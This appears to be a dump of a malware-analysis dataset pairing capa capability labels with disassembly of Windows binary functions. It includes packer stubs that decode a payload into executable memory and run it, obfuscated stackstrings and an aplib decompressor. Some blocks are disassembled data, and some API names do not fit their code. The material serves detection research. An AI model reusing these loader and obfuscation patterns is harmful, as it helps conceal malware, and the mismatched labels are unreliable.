joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405280
Capabilities:
Encode data using xor

Disassembly:
push 0x405334
call sub.MSVBVM60.DLL_ThunRTMain
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], al
add byte [eax], al
pushal
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ebx, 0x93ecd7ec
xor al, 0xfa
inc ebp
stosb byte es:[edi], al
adc eax, edi
pop esi
pushal
jg 0x40529c
mov al, byte [pe_dos_header]
add byte [eax], al
add dword [eax], eax
add byte [eax], al
sub eax, 0x30303043
sub eax, 0x6e67796b
insd dword es:[edi], dx
insd dword es:[di], dx
insd dword es:[edi], dx
add byte fs:[esi], dh
jge 0x4052ed
xor ch, byte [esi]
cmp dword [eax], esi
cmp dword [ebx], esi
xor al, 0x30
xor dh, byte [ebx]
cmp byte [ebx + esi], dh
cmp dword [edx], esi
cmp byte [0x36353334], dh
xor eax, 0x34353634
add byte ss:[edi + ebp*2 + 0x6c], ah
xor ch, byte gs:[esi]
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
adc byte [eax + eax*2], al
add bh, bh
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], dl
test byte [eax], al
add byte [eax], al
add byte [eax], al
Function at 0x4040e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
rol esi, cl
inc ebp
mov bl, 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.00403e5e
invalid

Function at 0x404b4a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
or al, 1
je 0x404d1c
cmp dword [ebp + 0xc], 8
jne 0x404ce4
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.00403e6e
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00403e23
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x6bc], eax
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x698], eax
call fcn.00403e5e
in al, dx
push esp
in al, dx
invalid
call fcn.00403e5e
pop ebx
loop 0x404d09
add dword [eax - 0x5435b], 0x6a00ff
call dword [ebp - 0x340]
mov dword [ebp + 8], eax
push 0x104
lea eax, [ebp - 0x334]
push eax
push 0
call dword [ebp - 0x538]
call dword [eax + 0x6a]
add bh, bh
xchg ebp, eax
enter 0xfffffffffffffffa, 0xffffffffffffffff
call fcn.00403e5e
aas
xchg ebx, eax
dec ecx
cmp al, 0x80
movsd dword es:[edi], dword [esi]
sar ch, 1
invalid
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al

Function at 0x404d78
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.00403e3c
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
Function at 0x404db1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.00403e6e
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00403e23
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.00403e5e
jecxz 0x404e48
insd dword es:[edi], dx
dec edx
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x3d4]
mov dword [ebp - 0x28], eax
call fcn.00403e5e
mov ebx, 0x80de9a7e
loopne 0x404e7c
and byte [ebp - 0x1f], 0
mov byte [ebp - 0x1e], 0x1d
and byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0xa5
mov byte [ebp - 0x1b], 0x87
mov byte [ebp - 0x1a], 0x96
mov byte [ebp - 0x19], 0xb6
mov byte [ebp - 0x18], 0x87
mov byte [ebp - 0x17], 0x8f
mov byte [ebp - 0x16], 0x92
mov byte [ebp - 0x15], 0xb2
mov byte [ebp - 0x14], 0x83
mov byte [ebp - 0x13], 0x96
mov byte [ebp - 0x12], 0x8a
mov byte [ebp - 0x11], 0xa3
mov byte [ebp - 0x10], 0xe2
lea eax, [ebp - 0x20]
push eax
call fcn.00403e6e
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00403e23
add esp, 0xc
mov dword [ebp - 0x370], eax
lea eax, [ebp - 0x654]
push eax
push 0x104
call dword [ebp - 0x370]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x28]
movsx eax, byte [ebp + eax - 0x12d]
cmp eax, 0x5c
jne 0x404f0a
invalid
Function at 0x298072e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x29876b48]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or edi, 0xffffffff
mov esi, ecx
cmp ebx, edi
jne 0x29807306
xor eax, eax
jmp 0x298073c1
mov eax, dword [esi + 0x20]
cmp dword [eax], 0
je 0x29807328
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, dword [eax]
cmp dword [eax], edx
jae 0x29807328
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
mov byte [eax], bl
mov eax, ebx
jmp 0x298073c1
cmp dword [esi + 0x4c], 0
je 0x298073bf
call fcn.29806a7d
mov ecx, dword [esi + 0x38]
mov al, bl
test ecx, ecx
jne 0x29807352
push dword [esi + 0x4c]
push eax
call fcn.29827a72
test al, al
pop ecx
pop ecx
cmovne edi, ebx
jmp 0x298073bf
mov byte [ebp - 0x28], al
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x298073bf
cmp eax, 1
jle 0x2980738d
cmp eax, 3
jne 0x298073bf
push dword [esi + 0x4c]
push dword [ebp - 0x28]
jmp 0x29807344
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x30], eax
je 0x298073b1
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x30], eax
jne 0x298073bf
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x34], eax
mov eax, ebx
jne 0x298073c1
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.29801cc0
leave
ret 4
Function at 0x29827a72
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x29827a81
pop dword [ebp - 0x44]
mov eax, 0x29827a81
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xc1d1144f
add dword [ebp - 0x54], 0x8c8130fc
mov dword [ebp - 0x50], 0x37913387
add dword [ebp - 0x50], 0xfaa218be
mov dword [ebp - 0x4c], 0xa620ae5a
sub dword [ebp - 0x4c], 0x59d46a2c
mov dword [ebp - 0x48], 0xe31d8a9c
sub dword [ebp - 0x48], 0xe31d8a9c
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x828deb9d
add dword [ebp - 0x54], 0xf1e47db9
mov dword [ebp - 0x50], 0xc97ad79f
sub dword [ebp - 0x50], 0x880e762a
mov dword [ebp - 0x4c], 0x6cdb9a0e
sub dword [ebp - 0x4c], 0x96c2da2
mov dword [ebp - 0x48], 0xd67221b5
add dword [ebp - 0x48], 0x298dde4b
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xac1ca2a3
sub eax, 0x829731eb
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x49c7d
push 0
call eax
mov ecx, 0xd33bdb7
add ecx, 0xf2cc918e
xor edi, edi
add edi, eax
mov esi, 0x29896400
add esi, dword [ebp - 0x44]
mov ebx, 0x4d9d27b
add ebx, 0xd7cadbae
add dword [ebp - 0x18], edi
mov edx, dword [esi]
add dword [ebp - 4], eax
add edx, ebx
xor dword [ebp - 0x34], ebx
mov dword [edi], edx
add dword [ebp - 0x24], ecx
add edi, 4
add esi, 0x8cdafada
add esi, 0x7325052a
loop 0x29827b95
add eax, 0x9e2fb464
sub eax, 0x9e2e847d
mov ebx, eax
add eax, 0x6e5b2be7
add eax, 0x91a4d41e
mov ecx, 0x29800000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x402ee4
pop dword [ebp - 0xc]
mov eax, 0x402ee4
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x44a06316
sub dword [ebp - 0x1c], 0xf64e1dcb
mov dword [ebp - 0x18], 0xff907764
add dword [ebp - 0x18], 0x32a2d4e1
mov dword [ebp - 0x14], 0xb77f0545
add dword [ebp - 0x14], 0x94cd3ee9
mov dword [ebp - 0x10], 0x1857a352
add dword [ebp - 0x10], 0xe7a85cae
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xd45c73a9
add eax, 0x2be40d5b
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xf1d538df
sub dword [ebp - 0x1c], 0x7d62cf89
mov dword [ebp - 0x18], 0x93b8e0f0
sub dword [ebp - 0x18], 0x524c7f7b
mov dword [ebp - 0x14], 0x2664e9ce
sub dword [ebp - 0x14], 0xc2f57d62
mov dword [ebp - 0x10], 0xd7c92776
sub dword [ebp - 0x10], 0xd7c92776
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x6885df7b
sub eax, 0x68455e7b
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3648f
push 0
call eax
mov ecx, 0xa7a51c64
sub ecx, 0xa7a4d765
mov esi, eax
mov edi, 0x316f1ac4
sub edi, 0x312836c4
add edi, dword [ebp - 0xc]
mov ebx, 0xbf69aa47
sub dword [ebp - 8], 0xe710bd3d
mov edx, dword [edi]
xor dword [ebp - 4], 0x44844fd1
sub edx, ebx
mov dword [esi], edx
mov dword [ebp - 4], 0xaa94c1b5
add esi, 0xc7f91859
sub esi, 0xc7f91855
add edi, 4
loop 0x402ffb
add eax, 0x106cf
xor ebx, ebx
add ebx, eax
add eax, 0xf40016d3
sub eax, 0xf40016ce
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x4e54108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.04e54258
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x4e5412e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4e5411a
add dl, dl
jne 0x4e54139
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4e5418c
xor eax, eax
add dl, dl
jne 0x4e54146
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4e5422d
add dl, dl
jne 0x4e54155
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4e54160
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4e5416b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4e54176
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x4e54182
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x4e54125
mov eax, 1
add dl, dl
jne 0x4e5419a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4e541a5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4e54191
sub eax, ebx
mov ebx, 1
jne 0x4e541d8
mov ecx, 1
add dl, dl
jne 0x4e541be
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x4e541c9
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4e541b5
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4e54125
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x4e541ef
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x4e541fa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4e541e6
cmp eax, 0x7d00
jae 0x4e5421d
cmp eax, 0x500
jb 0x4e54218
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4e54125
cmp eax, 0x7f
ja 0x4e54220
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4e54125
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x4e5424e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x4e54125
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4019fc
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
xor edx, edx
push ebp
push 0x401ab2
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x4505c8
call sub.KERNEL32.DLL_WaitForSingleObject
cmp byte [0x450049], 0
je 0x401a2a
push 0x4505c8
call sub.KERNEL32.DLL_WinExec
mov eax, 0x4505e8
call fcn.004013c0
mov eax, 0x4505f8
call fcn.004013c0
mov eax, 0x450624
call fcn.004013c0
push 0xff8
push 0
call sub.KERNEL32.DLL_SizeofResource
mov dword [0x450620], eax
cmp dword [0x450620], 0
je 0x401a91
mov eax, 3
mov edx, dword [0x450620]
xor ecx, ecx
mov dword [edx + eax*4 - 0xc], ecx
inc eax
cmp eax, 0x401
jne 0x401a67
mov eax, 0x450608
mov dword [eax + 4], eax
mov dword [eax], eax
mov dword [0x450614], eax
mov byte [0x4505c0], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401ab9
cmp byte [0x450049], 0
je 0x401ab1
push 0x4505c8
call sub.KERNEL32.DLL_WriteFile
ret

Function at 0x401ac0
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
cmp byte [0x4505c0], 0
je 0x401b9d
xor edx, edx
push ebp
push 0x401b96
push dword fs:[edx]
mov dword fs:[edx], esp
cmp byte [0x450049], 0
je 0x401af2
push 0x4505c8
call sub.KERNEL32.DLL_WinExec
mov byte [0x4505c0], 0
mov eax, dword [0x450620]
push eax
call sub.KERNEL32.DLL_Sleep
xor eax, eax
mov dword [0x450620], eax
mov ebx, dword [0x4505e8]
jmp 0x401b25
push 0x8000
push 0
mov eax, dword [ebx + 8]
push eax
call sub.KERNEL32.DLL_VirtualQuery
mov ebx, dword [ebx]
cmp ebx, 0x4505e8
jne 0x401b13
mov eax, 0x4505e8
call fcn.004013c0
mov eax, 0x4505f8
call fcn.004013c0
mov eax, 0x450624
call fcn.004013c0
mov eax, dword [0x4505e0]
test eax, eax
je 0x401b6b
mov edx, dword [eax]
mov dword [0x4505e0], edx
push eax
call sub.KERNEL32.DLL_Sleep
mov eax, dword [0x4505e0]
test eax, eax
jne 0x401b54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401b9d
cmp byte [0x450049], 0
je 0x401b8b
push 0x4505c8
call sub.KERNEL32.DLL_WriteFile
push 0x4505c8
call sub.KERNEL32.DLL_lstrcpyA
ret
pop ebx
pop ebp
ret
Function at 0x4020e8
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, eax
cmp byte [0x4505c0], 0
jne 0x402105
call fcn.004019fc
test al, al
je 0x40210d
cmp ebx, 0x7ffffff8
jle 0x402117
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x40226b
xor ecx, ecx
push ebp
push 0x402264
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp byte [0x450049], 0
je 0x402138
push 0x4505c8
call sub.KERNEL32.DLL_WinExec
add ebx, 7
and ebx, 0xfffffffc
cmp ebx, 0xc
jge 0x402148
mov ebx, 0xc
cmp ebx, 0x1000
jg 0x4021e7
mov eax, ebx
test eax, eax
jns 0x40215d
add eax, 3
sar eax, 2
mov edx, dword [0x450620]
mov edx, dword [edx + eax*4 - 0xc]
test edx, edx
je 0x4021e7
mov esi, edx
mov eax, esi
add eax, ebx
and dword [eax], 0xfffffffe
mov eax, dword [edx + 4]
cmp edx, eax
jne 0x402198
mov eax, ebx
test eax, eax
jns 0x402187
add eax, 3
sar eax, 2
mov ecx, dword [0x450620]
xor edi, edi
mov dword [ecx + eax*4 - 0xc], edi
jmp 0x4021be
mov ecx, ebx
test ecx, ecx
jns 0x4021a1
add ecx, 3
sar ecx, 2
mov edi, dword [0x450620]
mov dword [edi + ecx*4 - 0xc], eax
mov ecx, dword [edx]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, esi
mov edx, dword [edx + 8]
or edx, 2
mov dword [eax], edx
add eax, 4
mov dword [ebp - 4], eax
inc dword [0x4505b0]
sub ebx, 4
add dword [0x4505b4], ebx
call fcn.004038f8
jmp 0x40226b
cmp ebx, dword [0x450618]
jg 0x402239
sub dword [0x450618], ebx
cmp dword [0x450618], 0xc
jge 0x40220b
add ebx, dword [0x450618]
xor eax, eax
mov dword [0x450618], eax
mov eax, dword [0x45061c]
add dword [0x45061c], ebx
mov edx, ebx
or edx, 2
mov dword [eax], edx
add eax, 4
mov dword [ebp - 4], eax
inc dword [0x4505b0]
sub ebx, 4
add dword [0x4505b4], ebx
call fcn.004038f8
jmp 0x40226b
mov eax, ebx
call fcn.00401ff4
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40226b
cmp byte [0x450049], 0
je 0x402263
push 0x4505c8
call sub.KERNEL32.DLL_WriteFile
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x402278
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
mov dword [0x4505c4], eax
cmp byte [0x4505c0], 0
jne 0x4022b0
call fcn.004019fc
test al, al
jne 0x4022b0
mov dword [0x4505c4], 8
mov dword [ebp - 4], 8
jmp 0x402411
xor ecx, ecx
push ebp
push 0x40240a
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp byte [0x450049], 0
je 0x4022d1
push 0x4505c8
call sub.KERNEL32.DLL_WinExec
mov esi, ebx
sub esi, 4
mov ebx, dword [esi]
test bl, 2
jne 0x4022ec
mov dword [0x4505c4], 9
jmp 0x4023e1
dec dword [0x4505b0]
mov eax, ebx
and eax, 0x7ffffffc
sub eax, 4
sub dword [0x4505b4], eax
test bl, 1
je 0x40234c
mov eax, esi
sub eax, 0xc
mov edx, dword [eax + 8]
cmp edx, 0xc
jl 0x40231c
test edx, 0x80000003
je 0x40232b
mov dword [0x4505c4], 0xa
jmp 0x4023e1
mov eax, esi
sub eax, edx
cmp edx, dword [eax + 8]
je 0x402343
mov dword [0x4505c4], 0xa
jmp 0x4023e1
add ebx, edx
mov esi, eax
call fcn.00401ba0
and ebx, 0x7ffffffc
mov eax, esi
add eax, ebx
mov edi, eax
cmp edi, dword [0x45061c]
jne 0x40238c
sub dword [0x45061c], ebx
add dword [0x450618], ebx
cmp dword [0x450618], 0x3c00
jle 0x40237d
call fcn.00401e90
xor eax, eax
mov dword [ebp - 4], eax
call fcn.004038f8
jmp 0x402411
mov edx, dword [eax]
test dl, 2
je 0x4023af
and edx, 0x7ffffffc
cmp edx, 4
jge 0x4023aa
mov dword [0x4505c4], 0xb
jmp 0x4023e1
or dword [eax], 1
jmp 0x4023d8
mov eax, edi
cmp dword [eax + 4], 0
je 0x4023c2
cmp dword [eax], 0
je 0x4023c2
cmp dword [eax + 8], 0xc
jge 0x4023ce
mov dword [0x4505c4], 0xb
jmp 0x4023e1
mov edx, dword [eax + 8]
add ebx, edx
call fcn.00401ba0
mov edx, ebx
mov eax, esi
call fcn.00401e08
mov eax, dword [0x4505c4]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402411
cmp byte [0x450049], 0
je 0x402409
push 0x4505c8
call sub.KERNEL32.DLL_WriteFile
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x4044c8
Capabilities:
Hide graphical window

Disassembly:
test eax, eax
je 0x4044dc
push eax
push 0
call sub.user32.dll_ShowWindow
test eax, eax
je 0x4044c0
ret

Function at 0x404e04
Capabilities:
Clear file content

Disassembly:
add esp, 0xffffffe4
push 0x1c
lea edx, [esp + 4]
push edx
push eax
call sub.KERNEL32.DLL_SetEndOfFile
cmp dword [esp + 0x10], 0x1000
jne 0x404e24
mov eax, dword [esp + 4]
jmp 0x404e26
xor eax, eax
add esp, 0x1c
ret
Function at 0x404eb8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
push 0x40504c
call sub.KERNEL32.DLL_GlobalUnlock
mov esi, eax
test esi, esi
je 0x404f20
push 0x40505c
push esi
call sub.KERNEL32.DLL_InitializeCriticalSection
mov ebx, eax
test ebx, ebx
je 0x404f20
push 0x105
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call ebx
test eax, eax
je 0x404f20
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_LockResource
jmp 0x405042
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x404f60
mov eax, dword [ebp - 4]
cmp byte [eax + 1], 0x5c
jne 0x405042
mov eax, dword [ebp - 4]
add eax, 2
call fcn.00404ea4
mov esi, eax
cmp byte [esi], 0
je 0x405042
lea eax, [esi + 1]
call fcn.00404ea4
mov esi, eax
cmp byte [esi], 0
je 0x405042
jmp 0x404f66
mov esi, dword [ebp - 4]
add esi, 2
mov ebx, esi
sub ebx, dword [ebp - 4]
lea eax, [ebx + 1]
push eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x24f]
push eax
call sub.KERNEL32.DLL_LockResource
jmp 0x405025
lea eax, [esi + 1]
call fcn.00404ea4
mov edi, eax
mov eax, edi
sub eax, esi
mov edx, eax
add edx, ebx
inc edx
cmp edx, 0x105
jg 0x405042
inc eax
push eax
push esi
lea eax, [ebp - 0x24f]
add eax, ebx
push eax
call sub.KERNEL32.DLL_LockResource
lea eax, [ebp - 0x14a]
push eax
lea eax, [ebp - 0x24f]
push eax
call sub.KERNEL32.DLL_GlobalFindAtomA
mov esi, eax
cmp esi, 0xffffffff
je 0x405042
push esi
call sub.KERNEL32.DLL_GlobalDeleteAtom
lea eax, [ebp - 0x11e]
push eax
call sub.KERNEL32.DLL_MulDiv
lea edx, [ebx + 1]
add eax, edx
inc eax
cmp eax, 0x105
jg 0x405042
mov byte [ebp + ebx - 0x24f], 0x5c
mov eax, 0x105
sub eax, ebx
dec eax
push eax
lea eax, [ebp - 0x11e]
push eax
lea eax, [ebp - 0x24f]
add eax, ebx
inc eax
push eax
call sub.KERNEL32.DLL_LockResource
lea eax, [ebp - 0x11e]
push eax
call sub.KERNEL32.DLL_MulDiv
inc eax
add ebx, eax
mov esi, edi
cmp byte [esi], 0
jne 0x404f84
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x24f]
